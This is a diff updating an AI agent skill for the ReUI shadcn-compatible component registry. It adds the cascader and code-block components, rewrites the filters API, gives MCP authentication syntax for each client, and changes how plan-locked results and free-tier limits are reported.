- **locked result** - a valid account whose plan does not cover the item. This is NOT an error and NOT a 403: it comes back as a normal HTTP 200 result carrying `locked: true` and `requiredPlan` (`"pro"` for premium blocks, `"ultimate"` for Motion Icons). Keep working with the free components and `c-*` examples, and point the user at https://reui.io/pricing?ref=skill if they want the locked item.
|
||||
- **daily allowance reached** - a free account has a per-account, per-UTC-day allowance on tool calls (ReUI sets the number and can change it, so read it from the message and never assume one). It comes back as a normal tool RESULT with `isError: true` at HTTP 200: not an HTTP error status, no back-off header to honor, and no per-minute limit to wait out. Retrying the same call just spends the next unit, so surface the message (it carries the reset and the upgrade link) to the user instead of looping. The count resets at UTC midnight, and using a Pro or Ultimate license as the MCP credential removes the limit.
|
||||
- **not found** (`found: false`) - use the returned `suggestions`, or `search`. Never run a fabricated install command.
|
||||
|
||||
## Fallbacks
|
||||
|
||||
- No ReUI MCP: `npx shadcn@latest search @reui -q "..."` then `add` (generic, no scoring / inline API).
|
||||
- The shadcn project's own MCP also works over the `@reui` registry: https://ui.shadcn.com/docs/mcp.
|
||||
|
||||
Per-agent MCP setup: https://reui.io/docs/mcp
|
||||
Per-agent MCP setup: https://reui.io/docs/mcp?ref=skill
|
||||
@@ -1,19 +1,20 @@
|
||||
---
|
||||
name: reui
|
||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||
user-invocable: false
|
||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 22 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||
metadata:
|
||||
user-invocable: "false"
|
||||
---
|
||||
|
||||
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
> **ReUI skill version `d9f4a302f4`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||
|
||||
# ReUI for Agents
|
||||
|
||||
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
||||
|
||||
- **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||
- **components** - the 22 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
||||
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
|
||||
- **blocks** - premium full-page sections that compose components (`data-grid-base-2`, `settings-2`); Pro or Ultimate license at install
|
||||
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
||||
|
||||
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
||||
@@ -58,7 +59,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
|
||||
|
||||
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
||||
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
||||
- [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
|
||||
- [rules/components.md](./rules/components.md) - the 22 components, the data-grid contract, base vs radix
|
||||
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
||||
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
||||
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
## Registry setup (one-time, per project)
|
||||
|
||||
Free items (the 20 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
||||
Free items (the 22 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
||||
|
||||
```json
|
||||
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
|
||||
@@ -29,9 +29,16 @@ REUI_LICENSE_KEY=your-license-key
|
||||
}
|
||||
```
|
||||
|
||||
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`, but an MCP client config never expands variables, so a ReUI MCP server config must carry the raw token instead (for example `reui_pat_your_token_here`).
|
||||
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`. MCP client configs expand environment variables too, but each client has its OWN syntax, so wire the ReUI MCP server with the form that client understands:
|
||||
|
||||
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry
|
||||
- Claude Code (`.mcp.json`, `~/.claude.json`): `"Authorization": "Bearer ${REUI_LICENSE_KEY}"`
|
||||
- Cursor (`.cursor/mcp.json`) and VS Code: `"Authorization": "Bearer ${env:REUI_LICENSE_KEY}"`
|
||||
- OpenCode (`opencode.json`): `"Authorization": "Bearer {env:REUI_LICENSE_KEY}"`
|
||||
- Codex (`~/.codex/config.toml`): `bearer_token_env_var = "REUI_LICENSE_KEY"` - Codex reads the variable itself, so there is no header to write
|
||||
|
||||
Only a client with no interpolation at all needs the raw `reui_pat_...` token, and then only in a file that is never committed. Copying the `components.json` form into a client that does not expand it is the common failure: the literal `${REUI_LICENSE_KEY}` placeholder is sent to the server as the credential and every call comes back 401.
|
||||
|
||||
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry?ref=skill
|
||||
|
||||
## Installing
|
||||
|
||||
@@ -54,7 +61,7 @@ bunx --bun shadcn@latest add @reui/<name> --yes # bun
|
||||
|
||||
## Free vs premium boundary
|
||||
|
||||
- Public, no key: `c-*` examples and the 20 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
||||
- Public, no key: `c-*` examples and the 22 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
||||
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
|
||||
|
||||
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade).
|
||||
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account?ref=skill (their key) or https://reui.io/pricing?ref=skill (upgrade).
|
||||
@@ -1,8 +1,8 @@
|
||||
# ReUI components
|
||||
|
||||
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
The 22 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `code-block`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||
|
||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the deeper reference. Do not assume you received all of it: a very large API (`cascader`, `filters`, `data-grid`) is trimmed on heading boundaries to fit your context, and every dropped heading is named in `sectionsOmitted`, so a trimmed capsule is a partial read - follow the response's own `next` hint to pull back the part you need instead of guessing at it. `validate_usage` always checks the FULL API, trimmed capsule or not. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||
|
||||
## data-grid (the flagship - read its API every time)
|
||||
|
||||
@@ -106,22 +106,60 @@ Common mistakes:
|
||||
|
||||
## filters
|
||||
|
||||
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
|
||||
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
const [filters, setFilters] = useState<Filter[]>([
|
||||
createFilter("priority", "is_any_of", ["low"]),
|
||||
])
|
||||
const fields: FilterFieldConfig[] = [
|
||||
{ key: "priority", label: "Priority", type: "multiselect",
|
||||
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
|
||||
const fields: FilterField[] = [
|
||||
{ id: "title", label: "Title", type: "text" },
|
||||
{
|
||||
id: "status",
|
||||
label: "Status",
|
||||
type: "select",
|
||||
options: [
|
||||
{ value: "active", label: "Active" },
|
||||
{ value: "archived", label: "Archived" },
|
||||
],
|
||||
},
|
||||
]
|
||||
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
|
||||
|
||||
<Filters filters={filters} fields={fields} onChange={setFilters} />
|
||||
<Filters fields={fields} query={query} onQueryChange={setQuery} />
|
||||
```
|
||||
|
||||
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
|
||||
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
|
||||
|
||||
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
|
||||
|
||||
## cascader
|
||||
|
||||
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
<Cascader items={items} value={value} onValueChange={setValue}>
|
||||
<CascaderTrigger render={<Button variant="outline" />}>
|
||||
<CascaderValue placeholder="Select an attribute" />
|
||||
</CascaderTrigger>
|
||||
<CascaderContent className="w-80">
|
||||
<CascaderPanel>
|
||||
<CascaderNav>
|
||||
<CascaderBreadcrumb />
|
||||
<CascaderInput />
|
||||
</CascaderNav>
|
||||
<CascaderEmpty />
|
||||
<CascaderList maxHeight={288}>
|
||||
<CascaderItems />
|
||||
</CascaderList>
|
||||
<CascaderStatus />
|
||||
</CascaderPanel>
|
||||
</CascaderContent>
|
||||
</Cascader>
|
||||
```
|
||||
|
||||
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
|
||||
|
||||
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
|
||||
|
||||
## date-selector
|
||||
|
||||
@@ -324,6 +362,26 @@ const [value, setValue] = useState<DateSelectorValue | undefined>()
|
||||
|
||||
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
|
||||
|
||||
## code-block
|
||||
|
||||
**Required:** `code` + `language`, or pre-highlighted `lines`.
|
||||
**Shape:**
|
||||
|
||||
```tsx
|
||||
<CodeBlock code={code} language="tsx" />
|
||||
|
||||
<CodeBlock code={code} language="tsx" showLineNumbers maxLines={20}>
|
||||
<CodeBlockHeader>
|
||||
<CodeBlockTitle>use-totals.ts</CodeBlockTitle>
|
||||
<CodeBlockLanguage />
|
||||
<CodeBlockCopyButton className="ml-auto" />
|
||||
</CodeBlockHeader>
|
||||
<CodeBlockExpandButton />
|
||||
</CodeBlock>
|
||||
```
|
||||
|
||||
**Gotcha:** the one-liner is already a complete block; every child (header, title, language label, copy button, wrap toggle, expand button, line actions) is optional chrome, at any depth. Shiki is the only npm dependency and loads lazily, one chunk per language, on first highlight; `lines` (from `highlightCode` in `code-block-highlight`, which is server-safe and has no `"use client"`) or `highlight={false}` loads nothing at all. `maxLines` caps the height AND marks the block collapsible, which is what makes `CodeBlockExpandButton` appear. Use `variant="ghost"` when the block sits inside a surface that already has a border.
|
||||
|
||||
## alert
|
||||
|
||||
**Required:** `Alert` > `AlertTitle`
|
||||
|
||||
@@ -27,7 +27,7 @@ npx shadcn@latest add @reui/icons/default/<style>/<name> --yes # static
|
||||
npx shadcn@latest add @reui/icons/animated/<style>/<name> --yes # hover-animated (motion/react)
|
||||
```
|
||||
|
||||
Finding them via the MCP is free; installing requires an Ultimate license (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
||||
Motion Icons need an Ultimate license for **both discovery and install** (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Without it `search_icons` comes back `locked` with no results and `search` returns no icons at all, so check the plan before you promise the user icons: on a free or Pro account, use the project's own `iconLibrary` instead. Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
||||
|
||||
Finding icons:
|
||||
|
||||
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
|
||||
|
||||
- **component** - one of the 20 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
||||
- **component** - one of the 22 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
||||
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
|
||||
- **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
||||
- **block** - a premium, full-page section that composes several components (`data-grid-base-2`, `settings-2`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
||||
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
|
||||
|
||||
## The @reui registry
|
||||
@@ -27,7 +27,7 @@ Blocks adapt to your active theme through semantic tokens and CSS variables - ch
|
||||
|
||||
## Free vs premium
|
||||
|
||||
- **Free, no key:** the 20 components, all `c-*` examples, the ReUI MCP, and this skill.
|
||||
- **Free, no license key:** the 22 components, all `c-*` examples, and this skill. The MCP is free too but still needs a free ReUI account (the agent signs in on first use); a license key is only for premium installs.
|
||||
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
|
||||
|
||||
## Component API index
|
||||
|
||||
@@ -4,11 +4,11 @@ The core ReUI loop. The MCP tells you what to install and gives you the API; the
|
||||
|
||||
## 1. Find (ReUI MCP `search` / `compose_page`)
|
||||
|
||||
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
||||
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); on a free account it answers `mode: "free"` and fills the same sections with free `c-*` examples instead, so the plan is always buildable. Sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
||||
|
||||
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
|
||||
|
||||
- `type`: `"component"` (one of the 20 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
||||
- `type`: `"component"` (one of the 22 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
||||
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
|
||||
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
|
||||
|
||||
@@ -16,7 +16,9 @@ Example: "build a users management page with filters" -> `search({ query: "users
|
||||
|
||||
Each result has `install`, `previewUrl`, `docsUrl`, `componentsUsed`, `score`, `termCoverage`, and `whyMatch`. `score` is relative to the top hit (the top is ~100 by construction), not an absolute quality - compare results to each other, and show the user the top options if several score closely; do not silently guess. A low `termCoverage` means a weak match even with a high score - rephrase or widen.
|
||||
|
||||
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick.
|
||||
Results are scoped to the account's plan, so you are never shown an item the user could not install: blocks need Pro, Motion Icons need Ultimate. A `type` hint the plan cannot use (or a query whose only matches are premium) comes back as a normal HTTP 200 answer with `locked: true` and `requiredPlan` rather than results - that is a paywall, not a missing item, so switch to free components and `c-*` examples and mention https://reui.io/pricing?ref=skill.
|
||||
|
||||
**Always show the preview link.** Whenever you list or recommend items - from `search`, `search_icons`, `list_components`, `compose_page`, or a getter - include each item's `previewUrl` (a live preview page) so the user can SEE it before you install. Blocks and examples link to an individual live preview; icons and components to their live category/component page. This applies to every listing, not only a single pick. Where a result carries `thumbnail` (blocks and `c-*` examples), show the image itself as markdown linked to `previewUrl`, so the user sees the block before you install it.
|
||||
|
||||
## 2. Install (shadcn CLI)
|
||||
|
||||
@@ -32,7 +34,7 @@ The CLI reads `components.json`, installs the correct base+style variant, resolv
|
||||
|
||||
Before writing code against any component an item uses:
|
||||
|
||||
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the full API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
||||
1. The item's `componentDigests` already give a 1-line contract per component - often enough to wire it. For the deeper API, call **`get_component(names)`** with ALL of `componentsUsed` in ONE call (it accepts an array) and read each inline `api` - no web fetch. A very large API is trimmed on heading boundaries to fit your context and lists what it dropped in `sectionsOmitted`; when the part you need is in that list, re-read it as the response's `next` hint says rather than guessing. `validate_usage` always checks the FULL API, so it still catches a prop you invented from a trimmed capsule. **Share the component's `docsUrl`** (its API documentation page) with the user whenever you work with that component's API, so they have the full reference; the `/llms.txt` index is a further fallback.
|
||||
2. Call **`get_examples(name)`** for the free `c-*` examples of that component; install one and **read the added files** to copy the exact composition. This is the fastest correct path - the example shows real wiring you adapt, not invent.
|
||||
3. About to write a prop you did not see in an `api` or installed file? Run **`validate_usage`** BEFORE writing the code - per-prop documented / notDocumented verdicts plus did-you-mean suggestions. notDocumented means read the API, not push on.
|
||||
|
||||
|
||||
@@ -16,15 +16,15 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
||||
|
||||
## The 5 task-specific tools (when to reach for each)
|
||||
|
||||
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
||||
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant.
|
||||
- **`compose_page`** - BEFORE building any full page (dashboard, settings, billing, landing). Pass the intent (and optionally the sections you want); it returns ordered sections, each with the best premium block for the intent (top pick + alternates). On a free account (or in free-only mode) it answers with `mode: "free"` and composes the same sections from free `c-*` examples instead, so the plan is always buildable. Sections with no real inventory are listed honestly in `unavailableSections` - compose those from components instead of forcing a bad block.
|
||||
- **`search_icons`** - whenever you need icons, especially several. Batch up to 24 concepts in one call; each concept returns its best icons with install commands. Pass `animated: true` to get only icons that have a hover-animated Motion variant. Motion Icons are Ultimate for **discovery as well as install**: without an Ultimate credential this returns `locked: true` and zero concepts, so check the plan before promising the user icons.
|
||||
- **`validate_usage`** - BEFORE writing code with component names or props you have not read in an inline `api` or an installed example. It checks planned names + props against the indexed API docs and registry item names; returns did-you-mean suggestions and per-prop documented / notDocumented verdicts. Deterministic, no inference - a notDocumented prop means stop and read the API, not push on.
|
||||
- **`whats_new`** - when your registry knowledge might be stale (a name 404s, the user mentions an item you don't know). Returns items added/removed per build, newest first.
|
||||
- **`report_issue`** - when an installed item is actually broken (bad source, wrong dependency, broken preview). Goes straight to the ReUI team; rate-limited 5/hour. Not for usage questions.
|
||||
- **`get_thumbnail`** - when the choice is VISUAL and the ranking has not already made it: 2 or more candidates within about 15 score points. When the top hit leads by a wide margin, or `missedTerms` already rules the others out, skip it; an image costs roughly 10 times a result row. It returns the hosted preview image as image content so you can look yourself; pass up to 4 names in one call to compare `compose_page` alternates side by side before installing any of them. To let the USER see something, share the item's `thumbnail` and `previewUrl` instead - this tool is for your own eyes, and a client that cannot render images gets the URLs in the text block.
|
||||
- **`get_agent_skill`** - when the agent has no local ReUI skill (a cloud or tools-only client), or to check whether the installed one is stale: it returns the current workflow inline plus the installer command, and its `version` can be compared with the version stamped at the top of your local `SKILL.md`.
|
||||
|
||||
## All 19 tools
|
||||
|
||||
`search`, `get_block`, `get_example`, `get_icon`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `whats_new`, `report_issue`, `get_install_command`, `get_project_context`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
||||
`search`, `get_block`, `get_example`, `get_icon`, `get_thumbnail`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `get_install_command`, `get_project_context`, `get_agent_skill`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
||||
|
||||
## Token + speed rules
|
||||
|
||||
@@ -41,18 +41,24 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
||||
- `termCoverage` (0-1) is the share of the query the item matched - low means a weak match even if the score looks high; rephrase or widen the search.
|
||||
- Each result carries `whyMatch`, `install`, docs/preview URLs, and a `free` flag; premium items carry `requiredPlan` (`"pro"` for blocks, `"ultimate"` for icons).
|
||||
- `componentDigests` is a top-level map: a compact API contract per referenced component - often enough to wire an item without a `get_component` call.
|
||||
- An inline `api` is not always the whole API: a very large one is trimmed on heading boundaries to fit your context, and the response names every dropped heading in `sectionsOmitted` plus a `next` hint for re-reading one. Never treat a trimmed capsule as complete; `validate_usage` still checks the FULL API.
|
||||
- Icon results and `get_icon` include `animated: true` and `installAnimated` when a hover-animated Motion variant exists (animated: `@reui/icons/animated/<style>/<name>`; static: `@reui/icons/default/<style>/<name>`).
|
||||
- Blocks and `c-*` examples carry `thumbnail`, an absolute URL to a hosted preview image (3:2; blocks 1080x720, examples 900x600, light theme). Show the top 2 or 3 as markdown images linked to `previewUrl` so the user picks by eye; use `get_thumbnail` when YOU need to see them. Components and icons have no thumbnail.
|
||||
- Each result carries `missedTerms`, the words from YOUR query it does not mention (omitted when it matches them all). A high score with 3 missed words is a near miss wearing a good score: read this before `get_thumbnail`, it is far cheaper.
|
||||
- `weakMatch: true` means the top result misses more of the query's words than it matches; `unmatchedTerms` lists the words none of the top results mention and `weakMatchNote` says what to do. Stop and re-search with the registry's own words, or compose from components, instead of installing the top hit.
|
||||
- On a free account `premiumPicks` (a sibling of `results`, never inside it) lists up to 3 premium blocks that fit the query more closely than the free answer, as previews with no install command, plus `unlock` with the plan and a pricing link. Mention the upgrade at most once per conversation, then keep building with what the plan covers. `weakMatch` and `premiumPicks` can appear together: the free answer is weak AND a premium block fits; `weakMatchNote` says so.
|
||||
- Results are scoped to the caller's plan, so a free account never sees a block or icon it could not install. When a search matches only hidden premium items, the answer says so (`locked`, `requiredPlan`, `premiumMatches`) instead of pretending the registry is empty.
|
||||
|
||||
## Error playbook
|
||||
|
||||
- **401** - the MCP requires a signed-in ReUI account. The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp) as `Authorization: Bearer`.
|
||||
- **403 / locked result** - a valid account but the plan does not cover the item: premium blocks need Pro, Motion Icons need Ultimate. Point to https://reui.io/pricing (upgrade). Free accounts still get all components + examples.
|
||||
- **429** - rate limited (120 requests/min per IP); back off, honor `Retry-After`.
|
||||
- **not found** (`found: false`) - use the returned `suggestions`, or `search`; check `whats_new` if you suspect a stale name. Never run a fabricated install command.
|
||||
- **401** - the MCP requires a signed-in ReUI account, on every request (there is no anonymous access). The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp?ref=skill) as `Authorization: Bearer`.
|
||||
- **locked result** - a valid account whose plan does not cover the item. This is NOT an error and NOT a 403: it comes back as a normal HTTP 200 result carrying `locked: true` and `requiredPlan` (`"pro"` for premium blocks, `"ultimate"` for Motion Icons). Keep working with the free components and `c-*` examples, and point the user at https://reui.io/pricing?ref=skill if they want the locked item.
|
||||
